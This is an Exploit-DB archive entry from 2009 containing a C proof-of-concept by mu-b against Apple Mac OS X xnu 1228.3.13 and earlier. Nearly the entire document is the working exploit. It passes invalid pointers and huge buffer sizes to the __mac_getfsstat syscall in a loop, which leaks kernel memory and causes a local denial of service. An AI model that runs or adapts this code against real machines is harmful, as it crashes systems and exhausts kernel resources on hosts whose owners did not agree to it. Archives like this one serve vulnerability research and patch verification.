Apple Mac OSX xnu 1228.3.13 - 'macfsstat' Local Kernel Memory Leak/Denial of Service

EDB-ID:

8263

Author:

mu-b

Type:

dos

Platform:

OSX

Published:

2009-03-23

/* xnu-macfsstat-leak.c
 *
 * Copyright (c) 2008 by <mu-b@digit-labs.org>
 *
 * Apple MACOS X xnu <= 1228.3.13 local kernel memory leak/DoS POC
 * by mu-b - Sun 13 Apr 2008
 *
 * - Tested on: Apple MACOS X 10.5.1 (xnu-1228.0.2~1/RELEASE_I386)
 *              Apple MACOS X 10.5.2 (xnu-1228.3.13~1/RELEASE_I386)
 *
 *    - Private Source Code -DO NOT DISTRIBUTE -
 * http://www.digit-labs.org/ -- Digit-Labs 2008!@$!
 */

#include <stdio.h>
#include <stdlib.h>

#include <fcntl.h>
#include <string.h>
#include <sys/mount.h>
#include <sys/syscall.h>
#include <sys/utsname.h>
#include <unistd.h>

#define LEAK_BUFBYTES(a) (sizeof (struct statfs)*a)
#define LEAK_MACBYTES(a) (sizeof (int)*a)

struct __mac_getfsstat {
  char *buf;   char _pad[4];
  int bufsize; char __pad[4];
  char *mac;   char ___pad[4];
  int macsize; char ____pad[4];
  int flags;   char _____pad[4];
};

int
main (int argc, char **argv)
{
  struct __mac_getfsstat req;
  int i, n;

  printf ("Apple MACOS X xnu <= 1228.3.13 local kernel memory leak/DoS PoC\n"
          "by: <mu-b@digit-labs.org>\n"
          "http://www.digit-labs.org/ -- Digit-Labs 2008!@$!\n\n");

  memset (&req, 0, sizeof req);
  req.buf = (char *) 0xDEADBEEF;
  req.bufsize = LEAK_BUFBYTES (65536 * 64);
  req.mac = (char *) 0xDEADBEEF;
  req.macsize = LEAK_MACBYTES (65536 * 64);

  for (i = 0; i < 2; i++)
    {
      if ((n = syscall (SYS___mac_getfsstat, req.buf, req.bufsize, req.mac, req.macsize, req.flags)) < 0)
        {
          fprintf (stderr, "leaked %lu-bytes of kernel memory!\n", LEAK_MACBYTES (65536 * 64));
        }
    }

  return (EXIT_SUCCESS);
}

// milw0rm.com [2009-03-23]